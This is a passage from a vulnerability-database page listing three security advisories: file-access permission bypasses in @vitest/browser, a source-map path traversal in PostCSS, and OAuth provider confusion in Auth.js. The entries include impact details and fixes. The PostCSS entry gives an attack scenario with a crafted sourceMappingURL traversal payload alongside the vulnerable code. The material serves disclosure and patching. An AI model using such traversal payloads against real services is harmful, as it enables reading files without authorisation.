Read (disclosure) | Records a client-controlled attachment path that the reporter copies into the attachments directory, disclosing file contents. |
The writes do not let an attacker choose the file contents (they produce PNG images or trace archives), so the integrity impact is creating, overwriting, or deleting a file at an arbitrary path rather than writing a chosen payload. The reads (upload, annotateTraces) are more serious because they expose the full contents of an arbitrary file.
The fix adds, to every file-touching provider command, an allowWrite check for write/delete operations and path confinement to the project root (matching the existing fs command pattern), so client-supplied absolute paths and ../ traversal are rejected.
Severity
9.4 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vitest/browser"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@vitest/browser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@vitest/browser"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-beta.1"
},
{
"fixed": "5.0.0-beta.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73653"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-552",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:36:12Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nBrowser Mode exposes a set of built-in \"commands\" that run on the Node.js side of the test runner and can touch the local filesystem (taking screenshots, managing Playwright traces, uploading files for `\u003cinput type=\"file\"\u003e`, comparing screenshots).\n\nSeveral of these commands accept a file path from the browser and act on it without checking the `allowWrite` permission gate and without confining the path to the project directory. A client that can reach the Browser Mode API can therefore read, create, overwrite, or delete files anywhere the Vitest process can access, even when `allowWrite` is `false`.\n\nThis matters most when the Browser Mode API is exposed to the network (for example `test.api.host` is set, or the dev server is reachable from another machine or origin). In that configuration `allowWrite` defaults to `false` precisely to block file access, and these commands bypass that protection. On a default localhost-only setup with trusted test code, there is no untrusted party in a position to exploit it. The gap still matters wherever you rely on `allowWrite: false` to contain untrusted test code, because these commands ignore that flag.\n\n## Affected commands and impact\n\n| Command | Operation | Impact |\n|---|---|---|\n| `upload` (Playwright + WebdriverIO) | Read | Arbitrary local file read; contents are loaded into the page and readable by test code. Highest-impact case. |\n| `takeScreenshot` (Playwright + WebdriverIO) | Write | Writes a PNG to an arbitrary path (absolute path used verbatim), creating parent directories. |\n| `screenshotMatcher` | Write | Writes reference/diff PNGs; directory derived from client path allows partial traversal. |\n| `stopChunkTrace` | Write | Writes a Playwright trace `.zip` to a path escapable via `../` in the trace name. |\n| `deleteTracing` | Delete | Deletes arbitrary files by path. |\n| `annotateTraces` | Read (disclosure) | Records a client-controlled attachment path that the reporter copies into the attachments directory, disclosing file contents. |\n\nThe writes do not let an attacker choose the file contents (they produce PNG images or trace archives), so the integrity impact is creating, overwriting, or deleting a file at an arbitrary path rather than writing a chosen payload. The reads (`upload`, `annotateTraces`) are more serious because they expose the full contents of an arbitrary file.\n\nThe fix adds, to every file-touching provider command, an `allowWrite` check for write/delete operations and path confinement to the project root (matching the existing `fs` command pattern), so client-supplied absolute paths and `../` traversal are rejected.",
"id": "GHSA-p63j-vcc4-9vmv",
"modified": "2026-08-13T18:19:12Z",
"published": "2026-07-21T19:36:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-p63j-vcc4-9vmv"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/pull/10674"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/pull/10679"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/pull/10680"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/33f96a145ef09ca6a43b4e555eb273e64a87be23"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/5c18dd267ff7f47f24cab2f615a16b37d90feb7f"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/b795e36b34969bec50b47a9f29d26f799a6a04fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitest-dev/vitest"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v3.2.7"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.10"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "@vitest/browser: Browser Mode provider commands bypass the file-access permission gate"
}
GHSA-R28C-9Q8G-F849
Vulnerability from github – Published: 2026-07-24 16:24 – Updated: 2026-08-13 17:55
VLAI
Summary
PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure
Details
Vulnerability Details
File: lib/previous-map.js
Line: 87-98 (loadFile), 129-144 (loadMap)
Root Cause
PostCSS auto-detects a /*# sourceMappingURL=... */ comment inside the CSS text it is asked to parse and, unless the caller explicitly passes map: false, attempts to load that path from disk as a "previous source map." This happens on every postcss.parse() / postcss().process() call by default (opt-out, not opt-in).
loadMap() builds the candidate path via join(dirname(opts.from), annotation), where annotation is the raw, attacker-controlled string from the CSS comment. path.join() normalizes but does not sandbox .. segments, so a ../../../ prefix walks the resolved path outside the intended directory. If opts.from is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim.
8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in .map (loadFile()). That fix did not address the traversal itself, only the target extension. Since the join(dirname(file), map) logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in .map remains readable through this path in the current release (8.5.16).
Once loaded, MapGenerator.isMap() treats the mere presence of a loaded "previous map" as an implicit request to generate result.map, even when the caller never set the map option. If the loaded map has a sourcesContent field (common for maps emitted by bundlers/transpilers), that content is merged into result.map and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS.
Attack Scenario
- A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g.
postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' })— idiomatic usage;mapoption untouched. - Attacker submits CSS containing
/*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */(or an absolute path iffromis unset). - PostCSS reads that
.mapfile and folds itssourcesContentintoresult.map. - The service does what most build pipelines do with a truthy
result.map— writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served). - Attacker retrieves the emitted map and reads out the traversed file's content.
Impact
Disclosure of the contents of arbitrary .map files reachable via path traversal (or absolute path when from is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing map: false. No authentication or user interaction beyond submitting CSS text is required.
Vulnerable Code
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
loadMap(file, prev) {
...
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
let unknown = this.loadFile(map, file, false)
...
}
}
Recommended Fix
Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check:
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
if (!cssFile) return undefined
let root = resolve(dirname(cssFile))
let resolvedPath = resolve(root, path)
if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) {
return undefined
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
I've implemented, tested (full existing test suite — 660/660 passing, plus new PoC-based regression checks for both the traversal and legitimate same-directory cases), and can share this fix on request or via a private fork if invited.
Verification
Dynamically confirmed on v8.5.16 (current npm release / repo HEAD) via a standalone Node.js harness against lib/postcss.js: a "secret" .map file placed two directories outside a simulated project directory was read via a crafted sourceMappingURL comment in otherwise-innocuous CSS, with its sourcesContent appearing verbatim in result.map.toString() — with no map option set by the caller. A second harness confirmed the simpler no-from case reads an absolute path directly. A third harness confirmed map: false is the only current workaround. The attached fix branch closes both vectors while keeping all 660 existing unit tests green.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.5.17"
},
"package": {
"ecosystem": "npm",
"name": "postcss"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73646"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:24:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n**File**: `lib/previous-map.js`\n**Line**: 87-98 (`loadFile`), 129-144 (`loadMap`)\n\n\n### Root Cause\nPostCSS auto-detects a `/*# sourceMappingURL=... */` comment inside the CSS text it is asked to parse and, unless the caller explicitly passes `map: false`, attempts to load that path from disk as a \"previous source map.\" This happens on every `postcss.parse()` / `postcss().process()` call by default (opt-out, not opt-in).\n\n`loadMap()` builds the candidate path via `join(dirname(opts.from), annotation)`, where `annotation` is the raw, attacker-controlled string from the CSS comment. `path.join()` normalizes but does not sandbox `..` segments, so a `../../../` prefix walks the resolved path outside the intended directory. If `opts.from` is not set at all, the annotation is used completely unmodified \u2014 an absolute path in the CSS comment is read verbatim.\n\n8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in `.map` (`loadFile()`). That fix did not address the traversal itself, only the target extension. Since the `join(dirname(file), map)` logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in `.map` remains readable through this path in the current release (8.5.16).\n\nOnce loaded, `MapGenerator.isMap()` treats the mere presence of a loaded \"previous map\" as an implicit request to generate `result.map`, even when the caller never set the `map` option. If the loaded map has a `sourcesContent` field (common for maps emitted by bundlers/transpilers), that content is merged into `result.map` and returned to the caller \u2014 disclosing the traversed-to file\u0027s content to whoever supplied the CSS.\n\n### Attack Scenario\n1. A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g. `postcss().process(userCss, { from: \u0027/app/uploads/user123/input.css\u0027, to: \u0027/app/uploads/user123/output.css\u0027 })` \u2014 idiomatic usage; `map` option untouched.\n2. Attacker submits CSS containing `/*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */` (or an absolute path if `from` is unset).\n3. PostCSS reads that `.map` file and folds its `sourcesContent` into `result.map`.\n4. The service does what most build pipelines do with a truthy `result.map` \u2014 writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served).\n5. Attacker retrieves the emitted map and reads out the traversed file\u0027s content.\n\n### Impact\nDisclosure of the contents of arbitrary `.map` files reachable via path traversal (or absolute path when `from` is unset) from the process\u0027s filesystem. Affects any application processing CSS it does not fully trust without explicitly passing `map: false`. No authentication or user interaction beyond submitting CSS text is required.\n\n### Vulnerable Code\n```js\nloadFile(path, cssFile, trusted) {\n if (!trusted \u0026\u0026 !this.unsafeMap) {\n if (!/\\.map$/i.test(path)) {\n return undefined\n }\n }\n this.root = dirname(path)\n if (existsSync(path)) {\n this.mapFile = path\n return readFileSync(path, \u0027utf-8\u0027).toString().trim()\n }\n}\n\nloadMap(file, prev) {\n ...\n } else if (this.annotation) {\n let map = this.annotation\n if (file) map = join(dirname(file), map)\n let unknown = this.loadFile(map, file, false)\n ...\n }\n}\n```\n\n### Recommended Fix\nConstrain the resolved path to remain inside the CSS file\u0027s own directory instead of relying solely on a filename-extension check:\n```js\nloadFile(path, cssFile, trusted) {\n if (!trusted \u0026\u0026 !this.unsafeMap) {\n if (!/\\.map$/i.test(path)) {\n return undefined\n }\n if (!cssFile) return undefined\n let root = resolve(dirname(cssFile))\n let resolvedPath = resolve(root, path)\n if (resolvedPath !== root \u0026\u0026 !resolvedPath.startsWith(root + sep)) {\n return undefined\n }\n }\n this.root = dirname(path)\n if (existsSync(path)) {\n this.mapFile = path\n return readFileSync(path, \u0027utf-8\u0027).toString().trim()\n }\n}\n```\nI\u0027ve implemented, tested (full existing test suite \u2014 660/660 passing, plus new PoC-based regression checks for both the traversal and legitimate same-directory cases), and can share this fix on request or via a private fork if invited.\n\n### Verification\nDynamically confirmed on v8.5.16 (current npm release / repo HEAD) via a standalone Node.js harness against `lib/postcss.js`: a \"secret\" `.map` file placed two directories outside a simulated project directory was read via a crafted `sourceMappingURL` comment in otherwise-innocuous CSS, with its `sourcesContent` appearing verbatim in `result.map.toString()` \u2014 with no `map` option set by the caller. A second harness confirmed the simpler no-`from` case reads an absolute path directly. A third harness confirmed `map: false` is the only current workaround. The attached fix branch closes both vectors while keeping all 660 existing unit tests green.",
"id": "GHSA-r28c-9q8g-f849",
"modified": "2026-08-13T17:55:54Z",
"published": "2026-07-24T16:24:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-r28c-9q8g-f849"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c"
},
{
"type": "PACKAGE",
"url": "https://github.com/postcss/postcss"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure"
}
GHSA-X445-F3H2-J279
Vulnerability from github – Published: 2026-07-23 14:31 – Updated: 2026-08-13 19:05
VLAI
Summary
Auth.js: OAuth state, nonce, and PKCE check cookies are not bound to the provider that created them
Details
Summary
Auth.js stores the OAuth/OIDC anti-CSRF checks (state, nonce, and the PKCE verifier) in global cookies that are not bound to the provider that created them. On callback, a check value minted during a sign-in started with one provider can satisfy the callback for a different provider, because the stored cookie is not verified against the callback provider's identity (provider id, issuer, client id, or redirect URI). In a multi-provider app that allows account linking while logged in, this provider-confusion / mix-up condition can let an attacker link their account at a second provider to a victim's user.
Am I affected?
You may be affected if all of the following hold:
- You use
next-auth<= 4.24.14or>= 5.0.0-beta.1, <= 5.0.0-beta.31, or@auth/core<= 0.41.2. - You configure multiple OAuth/OIDC providers.
- You allow users to link additional providers while logged in.
- At least one configured provider's authorization request is observable by an attacker, and at least one target provider's callback can be satisfied without a PKCE verifier (i.e. it relies only on
stateor only onnonce).
You are not affected if you use a single OAuth provider, do not allow logged-in account linking, or all providers enforce PKCE.
Impact
- Account-linking confusion: an attacker can get their account at a target provider linked to the victim's Auth.js user, granting the attacker persistent sign-in to the victim's account through that linked provider.
- Exploitation requires luring the victim into starting a legitimate same-origin flow; it cannot be performed by cross-site request forgery alone, which reduces practical likelihood.
Patched version
The fix binds the OAuth check cookies to the provider/authorization flow that created them, so a callback cannot consume a check value minted for a different provider. Upgrade to the first releases containing this fix (pending; this advisory will be updated with exact patched versions before publication).
Workarounds
If you cannot upgrade immediately:
- Enable PKCE (
checks: ["pkce"], in addition tostate/nonce) on every provider that supports it; PKCE blocks the practical code-swap variant because the attacker cannot observe the relying party's verifier. - Avoid offering logged-in account linking across multiple providers where one provider is lower-trust or attacker-observable.
- Treat
events.linkAccountas sensitive: add audit logging, user notification, or out-of-band confirmation so that any unexpected link is visible (defense-in-depth, not a root-cause fix).
Credit
Reported by @Nadav0077. Thank you for the responsible disclosure.
Severity
6.8 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.41.2"
},
"package": {
"ecosystem": "npm",
"name": "@auth/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.41.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0-beta.31"
},
"package": {
"ecosystem": "npm",
"name": "next-auth"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-beta.1"
},
{
"fixed": "5.0.0-beta.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.24.14"
},
"package": {
"ecosystem": "npm",
"name": "next-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.24.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73419"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-346",
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T14:31:51Z",
"nvd_published_at": "2026-08-12T21:17:41Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAuth.js stores the OAuth/OIDC anti-CSRF checks (`state`, `nonce`, and the PKCE verifier) in global cookies that are not bound to the provider that created them. On callback, a check value minted during a sign-in started with one provider can satisfy the callback for a different provider, because the stored cookie is not verified against the callback provider\u0027s identity (provider id, issuer, client id, or redirect URI). In a multi-provider app that allows account linking while logged in, this provider-confusion / mix-up condition can let an attacker link their account at a second provider to a victim\u0027s user.\n\n## Am I affected?\n\nYou may be affected if **all** of the following hold:\n\n- You use `next-auth` `\u003c= 4.24.14` or `\u003e= 5.0.0-beta.1, \u003c= 5.0.0-beta.31`, or `@auth/core` `\u003c= 0.41.2`.\n- You configure multiple OAuth/OIDC providers.\n- You allow users to link additional providers while logged in.\n- At least one configured provider\u0027s authorization request is observable by an attacker, and at least one target provider\u0027s callback can be satisfied without a PKCE verifier (i.e. it relies only on `state` or only on `nonce`).\n\nYou are **not** affected if you use a single OAuth provider, do not allow logged-in account linking, or all providers enforce PKCE.\n\n## Impact\n\n- Account-linking confusion: an attacker can get their account at a target provider linked to the victim\u0027s Auth.js user, granting the attacker persistent sign-in to the victim\u0027s account through that linked provider.\n- Exploitation requires luring the victim into starting a legitimate same-origin flow; it cannot be performed by cross-site request forgery alone, which reduces practical likelihood.\n\n## Patched version\n\nThe fix binds the OAuth check cookies to the provider/authorization flow that created them, so a callback cannot consume a check value minted for a different provider. Upgrade to the first releases containing this fix (pending; this advisory will be updated with exact patched versions before publication).\n\n## Workarounds\n\nIf you cannot upgrade immediately:\n\n- Enable PKCE (`checks: [\"pkce\"]`, in addition to `state`/`nonce`) on every provider that supports it; PKCE blocks the practical code-swap variant because the attacker cannot observe the relying party\u0027s verifier.\n- Avoid offering logged-in account linking across multiple providers where one provider is lower-trust or attacker-observable.\n- Treat `events.linkAccount` as sensitive: add audit logging, user notification, or out-of-band confirmation so that any unexpected link is visible (defense-in-depth, not a root-cause fix).\n\n## Credit\n\nReported by @Nadav0077. Thank you for the responsible disclosure.",
"id": "GHSA-x445-f3h2-j279",
"modified": "2026-08-13T19:05:32Z",
"published": "2026-07-23T14:31:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-x445-f3h2-j279"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73419"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/pull/13469"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/commit/5bca2399a79ba8d116ca5179b4b1ebcd152e7f05"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/commit/9f7a97fade9b1319bb9ac19fc9828d62e0a2a852"
},
{
"type": "PACKAGE",
"url": "https://github.com/nextauthjs/next-auth"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/releases/tag/@auth/core@0.41.3"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@4.24.15"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@5.0.0-beta.32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Auth.js: OAuth state, nonce, and PKCE check cookies are not bound to the provider that created them"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…